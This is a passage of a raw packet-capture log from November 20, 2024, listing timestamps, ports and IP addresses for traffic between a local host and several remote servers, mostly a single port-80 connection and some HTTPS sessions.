Nov 20, 2024 23:12:58.310216904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.310266972 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.310952902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.311017990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.311080933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.311192989 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.311810017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.311873913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.311928034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.312179089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.312643051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.312738895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.312774897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.313015938 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.313518047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.313580990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.313652039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.313786983 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.314402103 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.314461946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.324484110 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.324644089 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.324697018 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.324728966 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.324743986 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.324754000 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.324759007 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.326785088 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.326821089 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.326932907 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.327050924 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.327063084 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.349847078 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.350217104 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.350254059 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.350353003 CET	443	49900	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.350461006 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.350538969 CET	49900	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.350560904 CET	443	49900	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.350640059 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.350723982 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.351351023 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.351676941 CET	443	49900	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.351686001 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.351743937 CET	49900	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.351754904 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.351856947 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.351872921 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.352075100 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.352144957 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.352610111 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.352673054 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.352730989 CET	49900	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.352781057 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.352799892 CET	443	49900	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.352850914 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.353085041 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.353183985 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.353229046 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.353245974 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.353518963 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.353591919 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.353619099 CET	49900	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.353627920 CET	443	49900	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.353763103 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.353781939 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.353854895 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.353868008 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.354151011 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.354217052 CET	49892	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:12:58.359263897 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.359428883 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.359436035 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.362651110 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.362718105 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.362979889 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.363055944 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.363091946 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.401928902 CET	49900	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.401937962 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.402089119 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.402090073 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.407330036 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.415868998 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.415874958 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.427213907 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.427272081 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.427397013 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.427414894 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.427439928 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.427489042 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.427532911 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.427542925 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.427553892 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.427557945 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.429589033 CET	49906	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.429647923 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.430010080 CET	49906	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.430583954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.430604935 CET	443	49896	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.430649042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.430655003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.430692911 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.430974007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.431024075 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.431029081 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.431072950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.431514978 CET	49906	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.431546926 CET	443	49906	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.431792974 CET	49896	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.431807995 CET	443	49896	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.432190895 CET	49896	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.432195902 CET	443	49896	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.432563066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.432619095 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.432679892 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.432694912 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.432729006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.432781935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.432790041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.432840109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.433476925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.433530092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.433666945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.433722973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.434402943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.434453011 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.434504032 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.434555054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.435277939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.435352087 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.435384035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.435492039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.436078072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.436141014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.436227083 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.436363935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.436892986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.436980963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.437040091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.437715054 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.437771082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.437814951 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.437863111 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.438554049 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.438613892 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.438738108 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.438791990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.439431906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.439480066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.439491034 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.439528942 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.440268993 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.440326929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.440485954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.440552950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.441128016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.441185951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.441230059 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.441360950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.441994905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.442054033 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.442102909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.442234993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.442806005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.442862988 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.442926884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.443017960 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.443730116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.443793058 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.443830967 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.444025993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.444493055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.444597006 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.444657087 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.445403099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.445458889 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.445478916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.445527077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.446208954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.446260929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.446266890 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.446314096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.447057009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.447113037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.447170973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.447221994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.447904110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.447969913 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.448030949 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.448719025 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.448779106 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.462776899 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.514766932 CET	443	49893	20.110.205.119	192.168.2.7
Nov 20, 2024 23:12:58.514997959 CET	443	49893	20.110.205.119	192.168.2.7
Nov 20, 2024 23:12:58.515111923 CET	49893	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:12:58.516041040 CET	443	49890	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.518912077 CET	443	49890	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.519218922 CET	49890	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.520745039 CET	49893	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:12:58.520762920 CET	443	49893	20.110.205.119	192.168.2.7
Nov 20, 2024 23:12:58.525578022 CET	49890	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.525593996 CET	443	49890	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.528552055 CET	443	49894	18.173.219.40	192.168.2.7
Nov 20, 2024 23:12:58.528624058 CET	443	49894	18.173.219.40	192.168.2.7
Nov 20, 2024 23:12:58.528695107 CET	49894	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:12:58.534425974 CET	49894	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:12:58.534454107 CET	443	49894	18.173.219.40	192.168.2.7
Nov 20, 2024 23:12:58.537290096 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:12:58.537324905 CET	443	49907	18.173.219.40	192.168.2.7
Nov 20, 2024 23:12:58.537383080 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:12:58.537599087 CET	49907	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:12:58.537606955 CET	443	49907	18.173.219.40	192.168.2.7
Nov 20, 2024 23:12:58.554588079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.554689884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.554703951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.554768085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.555011988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.555068016 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.555195093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.555295944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.555574894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.555643082 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.555691957 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.556421995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.556479931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.556485891 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.556529045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.557265043 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.557317019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.557339907 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.557370901 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.558103085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.558167934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.558254004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.558301926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.558968067 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.559103012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.559132099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.559339046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.559883118 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.559950113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.559963942 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.559997082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.560691118 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.560761929 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.560791969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.560825109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.561520100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.561610937 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.561670065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.561810017 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.562354088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.562421083 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.562431097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.562671900 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.563189030 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.563286066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.564069986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.564177990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.564914942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.565052032 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.565737009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.565762043 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.566638947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.566705942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.567446947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.567569017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.568294048 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.568396091 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.569149971 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.569268942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.570008039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.570050955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.570856094 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.570993900 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.571702957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.571799040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.572592020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.572817087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.573398113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.573601961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.574265003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.574314117 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.575099945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.575117111 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.575326920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575326920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575326920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575326920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575326920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575326920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575326920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575326920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575365067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575365067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575365067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575365067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575365067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575365067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575365067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575365067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575378895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575378895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575378895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575378895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575378895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575378895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575378895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575378895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575391054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575391054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575391054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.575939894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.575980902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.576045990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.576085091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.576792002 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.576833963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.576890945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.576930046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.577634096 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.577676058 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.577769041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.577843904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.578500986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.578543901 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.578598022 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.578763008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.579340935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.579446077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.579468012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.579591990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.580291033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.580332041 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.580418110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.580456972 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.640454054 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.640531063 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.640543938 CET	80	49799	185.215.113.206	192.168.2.7
